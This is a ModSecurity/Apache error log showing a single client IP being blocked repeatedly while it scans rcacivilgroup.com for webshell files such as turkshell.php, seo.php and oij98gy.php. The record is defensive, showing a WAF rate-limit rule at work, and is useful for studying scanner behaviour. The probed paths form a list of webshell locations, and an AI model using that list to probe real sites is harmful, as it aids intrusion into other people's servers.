[Sun Apr 12 01:30:16.808195 2026] [:error] [pid 44701:tid 44798] [client 158.158.55.67:40559] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adqFKBGZAP4MrlxEPFc3uAAAAFY"]
[Sun Apr 12 01:30:17.331375 2026] [:error] [pid 44701:tid 44785] [client 158.158.55.67:55499] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adqFKRGZAP4MrlxEPFc3uwAAAEs"]
[Sun Apr 12 01:30:17.867663 2026] [:error] [pid 36909:tid 36916] [client 158.158.55.67:53027] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "adqFKUGk5GhxTCzHUOoViQAAAQU"]
[Sun Apr 12 01:30:18.411421 2026] [:error] [pid 34152:tid 34161] [client 158.158.55.67:55547] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "adqFKoFtE4RhFslT1Dq8oAAAAAc"]
[Sun Apr 12 01:30:18.925897 2026] [:error] [pid 44698:tid 44724] [client 158.158.55.67:41182] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "adqFKhgoH9UWd-U3D55flgAAAJU"]
[Sun Apr 12 01:30:19.456499 2026] [:error] [pid 44700:tid 44753] [client 158.158.55.67:14478] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "adqFK2ryPgh_uW4QPClkZAAAAMk"]
[Sun Apr 12 01:30:20.042680 2026] [:error] [pid 45064:tid 45094] [client 158.158.55.67:14503] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/water.php"] [unique_id "adqFLJcHBvLyJ6EUhUr9CgAAAUI"]
[Sun Apr 12 01:30:20.550023 2026] [:error] [pid 45064:tid 45098] [client 158.158.55.67:47901] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/water.php"] [unique_id "adqFLJcHBvLyJ6EUhUr9DQAAAUY"]
[Sun Apr 12 01:30:21.205812 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:14491] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/water.php"] [unique_id "adqFLRGZAP4MrlxEPFc3wAAAAFE"]
[Sun Apr 12 01:30:21.721028 2026] [:error] [pid 44698:tid 44720] [client 158.158.55.67:41912] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/water.php"] [unique_id "adqFLRgoH9UWd-U3D55fmgAAAJE"]
[Sun Apr 12 01:30:22.208309 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:33521] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adqFLoFtE4RhFslT1Dq8rgAAABU"]
[Sun Apr 12 01:30:22.931987 2026] [:error] [pid 44701:tid 44793] [client 158.158.55.67:47910] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adqFLhGZAP4MrlxEPFc3xgAAAFI"]
[Sun Apr 12 01:30:23.445725 2026] [:error] [pid 36938:tid 36947] [client 158.158.55.67:17383] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adqFL4SWpa_VL1JPU6zbEgAAAYc"]
[Sun Apr 12 01:30:24.075682 2026] [:error] [pid 45064:tid 45097] [client 158.158.55.67:14510] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adqFMJcHBvLyJ6EUhUr9EAAAAUU"]
[Sun Apr 12 01:30:24.722768 2026] [:error] [pid 34152:tid 34164] [client 158.158.55.67:41913] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "adqFMIFtE4RhFslT1Dq8wAAAAAo"]
[Sun Apr 12 01:30:25.555456 2026] [:error] [pid 44701:tid 44800] [client 158.158.55.67:53043] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "adqFMRGZAP4MrlxEPFc3zQAAAFg"]
[Sun Apr 12 01:30:26.317268 2026] [:error] [pid 45064:tid 45110] [client 158.158.55.67:56850] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "adqFMpcHBvLyJ6EUhUr9EQAAAVE"]
[Sun Apr 12 01:30:26.944013 2026] [:error] [pid 34152:tid 34174] [client 158.158.55.67:49196] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "adqFMoFtE4RhFslT1Dq8wgAAABQ"]
[Sun Apr 12 01:30:27.618277 2026] [:error] [pid 36938:tid 36954] [client 158.158.55.67:12621] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wert.php"] [unique_id "adqFM4SWpa_VL1JPU6zbHgAAAY4"]
[Sun Apr 12 01:30:28.144474 2026] [:error] [pid 36938:tid 36953] [client 158.158.55.67:33512] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wert.php"] [unique_id "adqFNISWpa_VL1JPU6zbIQAAAY0"]
[Sun Apr 12 01:30:28.702809 2026] [:error] [pid 36938:tid 36957] [client 158.158.55.67:49215] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wert.php"] [unique_id "adqFNISWpa_VL1JPU6zbJQAAAZE"]
[Sun Apr 12 01:30:29.420902 2026] [:error] [pid 36938:tid 36959] [client 158.158.55.67:14486] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wert.php"] [unique_id "adqFNYSWpa_VL1JPU6zbKQAAAZM"]
[Sun Apr 12 01:30:30.041767 2026] [:error] [pid 44701:tid 44771] [client 158.158.55.67:13451] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "adqFNhGZAP4MrlxEPFc31QAAAEA"]
[Sun Apr 12 01:30:30.983159 2026] [:error] [pid 34152:tid 34158] [client 158.158.55.67:55492] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "adqFNoFtE4RhFslT1Dq8ygAAAAQ"]
[Sun Apr 12 01:30:31.925364 2026] [:error] [pid 44701:tid 44783] [client 158.158.55.67:15610] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "adqFNxGZAP4MrlxEPFc32QAAAEo"]
[Sun Apr 12 01:30:32.873179 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:17345] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "adqFOBGZAP4MrlxEPFc33QAAAFE"]
[Sun Apr 12 01:30:33.894182 2026] [:error] [pid 44701:tid 44774] [client 158.158.55.67:41192] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adqFORGZAP4MrlxEPFc34AAAAEI"]
[Sun Apr 12 01:30:34.888201 2026] [:error] [pid 44701:tid 44798] [client 158.158.55.67:18603] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adqFOhGZAP4MrlxEPFc34wAAAFY"]
[Sun Apr 12 01:30:35.802794 2026] [:error] [pid 44700:tid 44767] [client 158.158.55.67:14519] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adqFO2ryPgh_uW4QPClkdAAAANc"]
[Sun Apr 12 01:30:36.599778 2026] [:error] [pid 45064:tid 45099] [client 158.158.55.67:13500] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adqFPJcHBvLyJ6EUhUr9FAAAAUc"]
[Sun Apr 12 01:30:37.112094 2026] [:error] [pid 45064:tid 45093] [client 158.158.55.67:41167] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oij98gy.php"] [unique_id "adqFPZcHBvLyJ6EUhUr9FQAAAUE"]
[Sun Apr 12 01:30:37.990791 2026] [:error] [pid 36938:tid 36951] [client 158.158.55.67:36809] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oij98gy.php"] [unique_id "adqFPYSWpa_VL1JPU6zbNgAAAYs"]
[Sun Apr 12 01:30:38.703850 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:53046] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oij98gy.php"] [unique_id "adqFPhGZAP4MrlxEPFc35wAAAFE"]
[Sun Apr 12 01:30:39.297127 2026] [:error] [pid 36938:tid 36946] [client 158.158.55.67:18567] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oij98gy.php"] [unique_id "adqFP4SWpa_VL1JPU6zbOAAAAYY"]
[Sun Apr 12 01:30:39.903258 2026] [:error] [pid 45064:tid 45095] [client 158.158.55.67:12661] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "adqFP5cHBvLyJ6EUhUr9FwAAAUM"]
[Sun Apr 12 01:30:40.505343 2026] [:error] [pid 36938:tid 36955] [client 158.158.55.67:47891] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "adqFQISWpa_VL1JPU6zbQAAAAY8"]
[Sun Apr 12 01:30:41.072594 2026] [:error] [pid 44698:tid 44713] [client 158.158.55.67:49170] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "adqFQRgoH9UWd-U3D55ftAAAAIo"]
[Sun Apr 12 01:30:41.764427 2026] [:error] [pid 34152:tid 34166] [client 158.158.55.67:58779] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "adqFQYFtE4RhFslT1Dq80wAAAAw"]
[Sun Apr 12 01:30:42.317038 2026] [:error] [pid 34152:tid 34172] [client 158.158.55.67:58766] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/turkshell.php"] [unique_id "adqFQoFtE4RhFslT1Dq81QAAABI"]
[Sun Apr 12 01:30:42.924382 2026] [:error] [pid 34152:tid 34168] [client 158.158.55.67:53020] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/turkshell.php"] [unique_id "adqFQoFtE4RhFslT1Dq83QAAAA4"]
[Sun Apr 12 01:30:43.566158 2026] [:error] [pid 34152:tid 34160] [client 158.158.55.67:33476] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/turkshell.php"] [unique_id "adqFQ4FtE4RhFslT1Dq84AAAAAY"]
[Sun Apr 12 01:30:44.234254 2026] [:error] [pid 44701:tid 44799] [client 158.158.55.67:17832] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/turkshell.php"] [unique_id "adqFRBGZAP4MrlxEPFc37AAAAFc"]
[Sun Apr 12 01:30:44.749438 2026] [:error] [pid 44701:tid 44789] [client 158.158.55.67:41834] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "adqFRBGZAP4MrlxEPFc38AAAAE4"]
[Sun Apr 12 01:30:45.310551 2026] [:error] [pid 44701:tid 44800] [client 158.158.55.67:17806] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "adqFRRGZAP4MrlxEPFc39AAAAFg"]
[Sun Apr 12 01:30:45.949317 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:56871] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "adqFRRGZAP4MrlxEPFc39gAAAE8"]
[Sun Apr 12 01:30:46.585878 2026] [:error] [pid 36909:tid 36916] [client 158.158.55.67:15572] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "adqFRkGk5GhxTCzHUOoVlgAAAQU"]
[Sun Apr 12 01:30:47.430952 2026] [:error] [pid 44698:tid 44705] [client 158.158.55.67:12575] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "adqFRxgoH9UWd-U3D55ftwAAAII"]
[Sun Apr 12 01:30:49.970995 2026] [:error] [pid 45064:tid 45111] [client 158.158.55.67:16814] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "adqFSZcHBvLyJ6EUhUr9IwAAAVI"]
[Sun Apr 12 01:30:50.712818 2026] [:error] [pid 36938:tid 36957] [client 158.158.55.67:18582] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "adqFSoSWpa_VL1JPU6zbSAAAAZE"]
[Sun Apr 12 01:30:51.581631 2026] [:error] [pid 36938:tid 36949] [client 158.158.55.67:15099] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "adqFS4SWpa_VL1JPU6zbTgAAAYk"]
[Sun Apr 12 01:30:52.129886 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:16821] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adqFTIFtE4RhFslT1Dq86QAAABU"]
[Sun Apr 12 01:30:52.682905 2026] [:error] [pid 36909:tid 36931] [client 158.158.55.67:60160] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adqFTEGk5GhxTCzHUOoVrwAAARQ"]
[Sun Apr 12 01:30:53.204601 2026] [:error] [pid 36909:tid 36925] [client 158.158.55.67:16802] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adqFTUGk5GhxTCzHUOoVtAAAAQ4"]
[Sun Apr 12 01:30:54.118514 2026] [:error] [pid 44698:tid 44708] [client 158.158.55.67:49143] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adqFThgoH9UWd-U3D55fugAAAIU"]
[Sun Apr 12 01:30:54.725121 2026] [:error] [pid 44701:tid 44799] [client 158.158.55.67:13312] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adqFThGZAP4MrlxEPFc4DgAAAFc"]
[Sun Apr 12 01:30:55.269756 2026] [:error] [pid 44701:tid 44775] [client 158.158.55.67:7158] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adqFTxGZAP4MrlxEPFc4FAAAAEM"]
